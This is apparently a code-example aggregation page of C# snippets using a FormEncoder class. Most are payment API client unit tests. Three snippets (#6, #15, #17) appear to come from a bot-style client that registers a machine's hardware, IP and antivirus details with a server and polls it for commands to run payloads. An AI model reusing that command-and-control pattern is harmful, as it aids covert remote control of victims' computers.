Пример #1
0
        public void SerializeDecimalTiersProperly()
        {
            var options = new PlanCreateOptions
            {
                Tiers = new List <PlanTierOptions>
                {
                    new PlanTierOptions
                    {
                        UnitAmountDecimal = 0.003m,
                        FlatAmountDecimal = 0.12m,
                        UpTo = 10,
                    },
                    new PlanTierOptions
                    {
                        UnitAmountDecimal = 0.004m,
                        FlatAmountDecimal = 0.24m,
                        UpTo = PlanTierUpTo.Inf,
                    }
                },
            };

            Assert.Equal(
                "tiers[0][flat_amount_decimal]=0.12&tiers[0][unit_amount_decimal]=0.003&tiers[0][up_to]=10&" +
                "tiers[1][flat_amount_decimal]=0.24&tiers[1][unit_amount_decimal]=0.004&tiers[1][up_to]=inf",
                FormEncoder.CreateQueryString(options));
        }
Пример #2
0
        public void SerializeTrialEnd()
        {
            var testCases = new[]
            {
                new
                {
                    options = new CustomerCreateOptions
                    {
                        TrialEnd = DateTime.Parse("Fri, 13 Feb 2009 23:31:30Z"),
                    },
                    want = "trial_end=1234567890",
                },
                new
                {
                    options = new CustomerCreateOptions
                    {
                        TrialEnd = SubscriptionTrialEnd.Now,
                    },
                    want = "trial_end=now",
                },
            };

            foreach (var testCase in testCases)
            {
                Assert.Equal(testCase.want, FormEncoder.CreateQueryString(testCase.options));
            }
        }
Пример #3
0
        public void SerializeSubscriptionBillingCycleAnchor()
        {
            var testCases = new[]
            {
                new
                {
                    options = new UpcomingInvoiceOptions
                    {
                        SubscriptionBillingCycleAnchor = DateTime.Parse("Fri, 13 Feb 2009 23:31:30Z"),
                    },
                    want = "subscription_billing_cycle_anchor=1234567890",
                },
                new
                {
                    options = new UpcomingInvoiceOptions
                    {
                        SubscriptionBillingCycleAnchor = SubscriptionBillingCycleAnchor.Now,
                    },
                    want = "subscription_billing_cycle_anchor=now",
                },
                new
                {
                    options = new UpcomingInvoiceOptions
                    {
                        SubscriptionBillingCycleAnchor = SubscriptionBillingCycleAnchor.Unchanged,
                    },
                    want = "subscription_billing_cycle_anchor=unchanged",
                },
            };

            foreach (var testCase in testCases)
            {
                Assert.Equal(testCase.want, FormEncoder.CreateQueryString(testCase.options));
            }
        }
Пример #4
0
        public async Task CreateHttpContent_NoStream()
        {
            var options = new TestOptions
            {
                List = new List <object> {
                    1, 2, 3
                },
                String = "String!",
            };
            var content = FormEncoder.CreateHttpContent(options);

            Assert.NotNull(content);
            Assert.IsType <FormUrlEncodedContent>(content);

            Assert.Equal("application/x-www-form-urlencoded", content.Headers.ContentType.MediaType);
            Assert.Equal("utf-8", content.Headers.ContentType.CharSet);
            Assert.Equal(1, content.Headers.ContentType.Parameters.Count);

            var stream = await content.ReadAsStreamAsync();

            Assert.Equal(44, stream.Length);
            var result = new StreamReader(stream).ReadToEnd();

            Assert.Equal("list[0]=1&list[1]=2&list[2]=3&string=String!", result);
        }
Пример #5
0
        public void SerializeItems()
        {
            var options = new SubscriptionCreateOptions
            {
                CustomerId = "cus_123",
                Items      = new List <SubscriptionItemOption>
                {
                    new SubscriptionItemOption
                    {
                        PlanId   = "plan_123",
                        Quantity = 2
                    },
                    new SubscriptionItemOption
                    {
                        PlanId   = "plan_124",
                        Quantity = 3
                    },
                },
            };

            Assert.Equal(
                "customer=cus_123&" +
                "items[0][plan]=plan_123&items[0][quantity]=2&" +
                "items[1][plan]=plan_124&items[1][quantity]=3",
                FormEncoder.CreateQueryString(options));
        }
Пример #6
0
        /// <summary>
        /// Attempts to get a new command from the server
        /// </summary>
        /// <param name="requestSender">RequestSender class instance</param>
        /// <param name="macAddress">MacAddress to get the command for</param>
        /// <returns></returns>
        private static ICommand GetCommand(RequestSender requestSender, string macAddress)
        {
            var formEncoder        = new FormEncoder();
            var getCommandData     = formEncoder.CreateLoginData(macAddress);
            var getCommandRequest  = new GetCommandRequest("/api/getcommand.php", getCommandData);
            var getCommandResponse = requestSender.SendRequest(getCommandRequest);
            var jsonResponseData   = JsonParser.Deserialize(getCommandResponse);

            switch (jsonResponseData["command"])
            {
            case "uninstall":
                return(new UninstallCommand());

            case "run":
                var payloadData = (Dictionary <string, object>)jsonResponseData["Payload"];
                var payload     = CreatePayload(payloadData);
                var runCommand  = new RunCommand(payload);
                return(runCommand);

            case "none":
                return(new NoneCommand());
            }

            return(null);
        }
Пример #7
0
        private static HttpContent BuildContent(HttpMethod method, BaseOptions options)
        {
            if (method != HttpMethod.Post && method.ToString() != "PATCH")
            {
                return(null);
            }

            return(FormEncoder.CreateHttpContent(options));
        }
Пример #8
0
        public void SerializeTrialEndNow()
        {
            var options = new SubscriptionCreateOptions
            {
                TrialEnd = SubscriptionTrialEnd.Now,
            };

            Assert.Equal("trial_end=now", FormEncoder.CreateQueryString(options));
        }
Пример #9
0
        public void SerializeTrialEndDateTime()
        {
            var options = new SubscriptionCreateOptions
            {
                TrialEnd = DateTime.Parse("Fri, 13 Feb 2009 23:31:30Z"),
            };

            Assert.Equal("trial_end=1234567890", FormEncoder.CreateQueryString(options));
        }
Пример #10
0
        public void SerializeObjectProperly()
        {
            var options_bool = new PaymentIntentConfirmOptions
            {
                OffSession = true,
            };

            Assert.Equal("off_session=True", FormEncoder.CreateQueryString(options_bool));
        }
Пример #11
0
        public void EnumEncodeUnknownValue()
        {
            var options = new TestOptions
            {
                Enum = TestOptions.TestEnum.TestTwo,
            };

            Assert.Equal("enum=TestTwo", FormEncoder.CreateQueryString(options));
        }
Пример #12
0
        public void EnumEncodeValidValue()
        {
            var options = new TestOptions
            {
                Enum = TestOptions.TestEnum.TestOne,
            };

            Assert.Contains("enum=test_one", FormEncoder.CreateQueryString(options));
        }
        public void SerializeDateTime()
        {
            var options = new ListOptionsWithCreated
            {
                Created = DateTime.Parse("Fri, 13 Feb 2009 23:31:30Z"),
            };

            Assert.Equal("created=1234567890", FormEncoder.CreateQueryString(options));
        }
        public void SerializeDateTimeNull()
        {
            var options = new ListOptionsWithCreated
            {
                Created = (DateTime?)null,
            };

            Assert.Equal(string.Empty, FormEncoder.CreateQueryString(options));
        }
Пример #15
0
        /// <summary>
        /// Attempts to login the user to the webserver
        /// </summary>
        /// <param name="requestSender">Instance of requestSender class</param>
        /// <param name="macAddress">Computer's macaddress</param>
        /// <returns></returns>
        private static bool Login(RequestSender requestSender, string macAddress)
        {
            var formEncoder      = new FormEncoder();
            var loginData        = formEncoder.CreateLoginData(macAddress);
            var loginRequest     = new LoginRequest("/api/login.php", loginData);
            var loginResponse    = requestSender.SendRequest(loginRequest);
            var jsonResponseData = JsonParser.Deserialize(loginResponse);

            return(jsonResponseData["message"].ToString().ToLower() == "succes");
        }
Пример #16
0
        public void Serialize()
        {
            var options = new CouponCreateOptions
            {
                PercentOff = 25,
                Duration   = "forever",
            };

            Assert.Equal("percent_off=25&duration=forever", FormEncoder.CreateQueryString(options));
        }
Пример #17
0
        /// <summary>
        /// Attempts to register the client to the webserver
        /// Use of Login returns false
        /// </summary>
        /// <param name="requestSender">RequestSender instance</param>
        /// <param name="systemInfo">InfoGatherer instance, contains system information</param>
        /// <returns></returns>
        private static bool Register(RequestSender requestSender, InfoGatherer systemInfo)
        {
            var formEncoder  = new FormEncoder();
            var registerData = formEncoder.CreateRegisterData(systemInfo.CPU, systemInfo.RamInfo, systemInfo.PublicIP,
                                                              systemInfo.MacAddress, systemInfo.AV);
            var registerRequest  = new RegisterRequest("/api/register.php", registerData);
            var registerResponse = requestSender.SendRequest(registerRequest);
            var jsonResponseData = JsonParser.Deserialize(registerResponse);

            return(jsonResponseData["message"].ToString().ToLower() == "succes");
        }
Пример #18
0
        public virtual Uri AuthorizeUrl(OAuthAuthorizeUrlOptions options, bool express = false)
        {
            string path = "/oauth/authorize";

            if (express)
            {
                path = "/express" + path;
            }

            options = this.SetupOAuthAuthorizeUrlOptions(options);

            return(new Uri(this.Client.ConnectBase + path + "?" +
                           FormEncoder.CreateQueryString(options)));
        }
Пример #19
0
        public async Task CreateHttpContent_Null()
        {
            var content = FormEncoder.CreateHttpContent(null);

            Assert.NotNull(content);
            Assert.IsType <FormUrlEncodedContent>(content);

            Assert.Equal("application/x-www-form-urlencoded", content.Headers.ContentType.MediaType);
            Assert.Equal("utf-8", content.Headers.ContentType.CharSet);
            Assert.Equal(1, content.Headers.ContentType.Parameters.Count);

            var stream = await content.ReadAsStreamAsync();

            Assert.Equal(0, stream.Length);
        }
        public void Serialize()
        {
            var options = new AccountCreateOptions
            {
                Individual = new PersonCreateOptions
                {
                    FirstName = "first name",
                    LastName  = "last name",
                },
            };

            Assert.Equal(
                "individual[first_name]=first+name&individual[last_name]=last+name",
                FormEncoder.CreateQueryString(options));
        }
        public void SerializeDateRangeOptions()
        {
            var options = new ListOptionsWithCreated
            {
                Created = new DateRangeOptions
                {
                    GreaterThanOrEqual = DateTime.Parse("Fri, 13 Feb 2009 23:31:30Z"),
                    LessThan           = DateTime.Parse("Sun, 1 May 2044 01:28:21Z"),
                },
            };

            Assert.Equal(
                "created[gte]=1234567890&created[lt]=2345678901",
                FormEncoder.CreateQueryString(options));
        }
Пример #22
0
        public void UrlEncodesKeysAndValues()
        {
            var options = new TestOptions
            {
                Dictionary = new Dictionary <string, object>
                {
                    { "#", "1 2 3" },
                    { "bar&baz", "+foo?" },
                },
                String = "[éàü]",
            };

            Assert.Equal(
                "dictionary[%23]=1+2+3&dictionary[bar%26baz]=%2Bfoo%3F&string=[%C3%A9%C3%A0%C3%BC]",
                FormEncoder.CreateQueryString(options));
        }
Пример #23
0
        private static Uri BuildUri(ICulqiClient client, HttpMethod method, string path, BaseOptions options, RequestOptions requestOptions)
        {
            var b = new StringBuilder();

            b.Append(requestOptions?.BaseUrl ?? client.ApiBase);
            b.Append(path);

            if ((method != HttpMethod.Post) && (options != null))
            {
                var queryString = FormEncoder.CreateQueryString(options);
                if (!string.IsNullOrEmpty(queryString))
                {
                    b.Append("?");
                    b.Append(queryString);
                }
            }

            return(new Uri(b.ToString()));
        }
Пример #24
0
        public async Task CreateHttpContent_Stream()
        {
            var options = new TestOptions
            {
                List = new List <object> {
                    1, 2, 3
                },
                Stream = new MemoryStream(Encoding.UTF8.GetBytes("Hello World!")),
                String = "String!",
            };
            var content = FormEncoder.CreateHttpContent(options);

            Assert.NotNull(content);
            Assert.IsType <MultipartFormDataContent>(content);

            Assert.Equal("multipart/form-data", content.Headers.ContentType.MediaType);
            Assert.Equal(1, content.Headers.ContentType.Parameters.Count);

            var stream = await content.ReadAsStreamAsync();

            Assert.Equal(764, stream.Length);
            var result = new StreamReader(stream).ReadToEnd();

            // The boundary will be a random GUID, so we just check for substrings.
            // MultipartFormDataContentTest has more exhaustive tests with a non-random boundary.
            Assert.Contains(
                "Content-Type: text/plain; charset=utf-8\r\nContent-Disposition: form-data; name=\"list[0]\"\r\n\r\n1\r\n",
                result);
            Assert.Contains(
                "Content-Type: text/plain; charset=utf-8\r\nContent-Disposition: form-data; name=\"list[1]\"\r\n\r\n2\r\n",
                result);
            Assert.Contains(
                "Content-Type: text/plain; charset=utf-8\r\nContent-Disposition: form-data; name=\"list[2]\"\r\n\r\n3\r\n",
                result);
            Assert.Contains(
                "Content-Disposition: form-data; name=\"stream\"; filename=blob; filename*=utf-8''blob\r\nContent-Type: application/octet-stream\r\n\r\nHello World!\r\n",
                result);
            Assert.Contains(
                "Content-Type: text/plain; charset=utf-8\r\nContent-Disposition: form-data; name=\"string\"\r\n\r\nString!\r\n",
                result);
        }
Пример #25
0
        public void IgnoresCulture()
        {
            var currentCulture = Thread.CurrentThread.CurrentCulture;

            try
            {
                Thread.CurrentThread.CurrentCulture = new CultureInfo("fr-FR");

                var dec = 123.45m;
                Assert.Equal("123,45", dec.ToString(CultureInfo.CurrentCulture));

                var options = new TestOptions {
                    Decimal = dec
                };
                Assert.Equal("decimal=123.45", FormEncoder.CreateQueryString(options));
            }
            finally
            {
                Thread.CurrentThread.CurrentCulture = currentCulture;
            }
        }
Пример #26
0
        public void SerializeTiersProperly()
        {
            var options = new PlanCreateOptions
            {
                Tiers = new List <PlanTierOptions>
                {
                    new PlanTierOptions
                    {
                        UnitAmount = 1000,
                        UpTo       = 10,
                    },
                    new PlanTierOptions
                    {
                        UnitAmount = 2000,
                        UpTo       = PlanTierUpTo.Inf,
                    }
                },
            };

            Assert.Equal(
                "tiers[0][unit_amount]=1000&tiers[0][up_to]=10&" +
                "tiers[1][unit_amount]=2000&tiers[1][up_to]=inf",
                FormEncoder.CreateQueryString(options));
        }
        public void SerializeObjectProperly()
        {
            var options = new BankAccountListOptions();

            Assert.Equal("object=bank_account", FormEncoder.CreateQueryString(options));
        }
Пример #28
0
        public void CreateQueryString()
        {
            var testCases = new[]
            {
                // No data
                new
                {
                    data = new TestOptions {
                    },
                    want = string.Empty
                },

                // AnyOf
                new
                {
                    data = new TestOptions
                    {
                        AnyOf = "foo",
                    },
                    want = "any_of=foo"
                },
                new
                {
                    data = new TestOptions
                    {
                        AnyOf = new Dictionary <string, string> {
                            { "foo", "bar" }
                        },
                    },
                    want = "any_of[foo]=bar"
                },
                new
                {
                    data = new TestOptions
                    {
                        AnyOf = null, // AnyOf itself is null
                    },
                    want = string.Empty
                },
                new
                {
                    data = new TestOptions
                    {
                        AnyOf = (string)null, // AnyOf is not null but AnyOf.Value is null
                    },
                    want = string.Empty
                },
                new
                {
                    data = new TestOptions
                    {
                        AnyOf = (Dictionary <string, string>)null, // same as above, AnyOf.Value is null
                    },
                    want = string.Empty
                },

                // Array
                new
                {
                    data = new TestOptions
                    {
                        Array = new[] { "1", "2", "3" },
                    },
                    want = "array[0]=1&array[1]=2&array[2]=3"
                },
                new
                {
                    data = new TestOptions
                    {
                        Array = new string[] { },
                    },
                    want = "array="
                },

                // Bool
                new
                {
                    data = new TestOptions
                    {
                        Bool = false,
                    },
                    want = "bool=False"
                },
                new
                {
                    data = new TestOptions
                    {
                        Bool = true,
                    },
                    want = "bool=True"
                },

                // DateRangeOptions
                new
                {
                    data = new TestOptions
                    {
                        DateRangeOptions = new DateRangeOptions
                        {
                            LessThan           = DateTime.Parse("Sat, 01 Jan 2000 05:00:00Z"),
                            GreaterThanOrEqual = DateTime.Parse("Sat, 01 Jan 2000 00:00:00Z"),
                        }
                    },
                    want = "date_filter[gte]=946684800&date_filter[lt]=946702800"
                },

                // DateTime
                new
                {
                    data = new TestOptions
                    {
                        DateTime = DateTime.Parse("Sat, 01 Jan 2000 00:00:00Z"),
                    },
                    want = "datetime=946684800"
                },

                // Decimal
                new
                {
                    data = new TestOptions
                    {
                        Decimal = 1.2345m,
                    },
                    want = "decimal=1.2345"
                },
                new
                {
                    data = new TestOptions
                    {
                        Decimal = 0.0m,
                    },
                    want = "decimal=0.0"
                },

                // Dictionary
                new
                {
                    data = new TestOptions
                    {
                        Dictionary = new Dictionary <string, object> {
                            { "foo", "bar" }
                        },
                    },
                    want = "dictionary[foo]=bar"
                },
                new
                {
                    data = new TestOptions
                    {
                        Dictionary = new Dictionary <string, object> {
                            { "empty", string.Empty }
                        },
                    },
                    want = "dictionary[empty]="
                },
                new
                {
                    data = new TestOptions
                    {
                        Dictionary = new Dictionary <string, object> {
                            { "null", null }
                        },
                    },
                    want = "dictionary[null]="
                },
                new
                {
                    data = new TestOptions
                    {
                        Dictionary = new Dictionary <string, object>
                        {
                            { "foo", new Dictionary <string, object> {
                                  { "bar", "baz" }
                              } },
                        },
                    },
                    want = "dictionary[foo][bar]=baz"
                },

                // Enum
                new
                {
                    data = new TestOptions
                    {
                        Enum = TestOptions.TestEnum.TestOne,
                    },
                    want = "enum=test_one"
                },
                new
                {
                    data = new TestOptions
                    {
                        Enum = TestOptions.TestEnum.TestTwo,
                    },
                    want = "enum=TestTwo"
                },

                // List
                new
                {
                    data = new TestOptions
                    {
                        List = new List <object> {
                            "foo", "bar"
                        },
                    },
                    want = "list[0]=foo&list[1]=bar"
                },
                new
                {
                    data = new TestOptions
                    {
                        List = new List <object> {
                            string.Empty, 0
                        },
                    },
                    want = "list[0]=&list[1]=0"
                },
                new
                {
                    data = new TestOptions
                    {
                        List = new List <object> {
                        },
                    },
                    want = "list="
                },
                new
                {
                    data = new TestOptions
                    {
                        List = new List <object>
                        {
                            new Dictionary <string, object> {
                                { "foo", "bar" }
                            },
                            new Dictionary <string, object> {
                                { "foo", "baz" }
                            },
                        },
                    },
                    want = "list[0][foo]=bar&list[1][foo]=baz"
                },

                // Long
                new
                {
                    data = new TestOptions
                    {
                        Long = 123,
                    },
                    want = "long=123"
                },
                new
                {
                    data = new TestOptions
                    {
                        Long = 0,
                    },
                    want = "long=0"
                },

                // String
                new
                {
                    data = new TestOptions
                    {
                        String = "foo",
                    },
                    want = "string=foo"
                },
                new
                {
                    data = new TestOptions
                    {
                        String = string.Empty,
                    },
                    want = "string="
                },
            };

            foreach (var testCase in testCases)
            {
                Assert.Equal(testCase.want, FormEncoder.CreateQueryString(testCase.data));
            }
        }
Пример #29
0
        public void SerializeObjectProperly()
        {
            var options = new CardListOptions();

            Assert.Equal("object=card", FormEncoder.CreateQueryString(options));
        }
Пример #30
0
        public void Serialize()
        {
            var testCases = new[]
            {
                // No data
                new
                {
                    data = new ChargeCreateOptions {
                    },
                    want = string.Empty,
                },

                // Source is a non-null, non-empty string
                new
                {
                    data = new ChargeCreateOptions
                    {
                        Source = "tok_visa",
                    },
                    want = "source=tok_visa",
                },

                // Source is a non-null, empty string
                new
                {
                    data = new ChargeCreateOptions
                    {
                        Source = string.Empty,
                    },
                    want = "source=",
                },

                // Source is a null string
                new
                {
                    data = new ChargeCreateOptions
                    {
                        Source = (string)null,
                    },
                    want = string.Empty,
                },

                // Source is a non-null CardCreateNestedOptions
                new
                {
                    data = new ChargeCreateOptions
                    {
                        Source = new CardCreateNestedOptions
                        {
                            Number   = "4242424242424242",
                            ExpMonth = 1,
                            ExpYear  = 2030,
                        },
                    },
                    want = "source[object]=card&source[exp_month]=1&source[exp_year]=2030&source[number]=4242424242424242",
                },

                // Source is a null CardCreateNestedOptions
                new
                {
                    data = new ChargeCreateOptions
                    {
                        Source = (CardCreateNestedOptions)null,
                    },
                    want = string.Empty,
                },

                // Source is null
                new
                {
                    data = new ChargeCreateOptions
                    {
                        Source = null,
                    },
                    want = string.Empty,
                },
            };

            foreach (var testCase in testCases)
            {
                Assert.Equal(testCase.want, FormEncoder.CreateQueryString(testCase.data));
            }
        }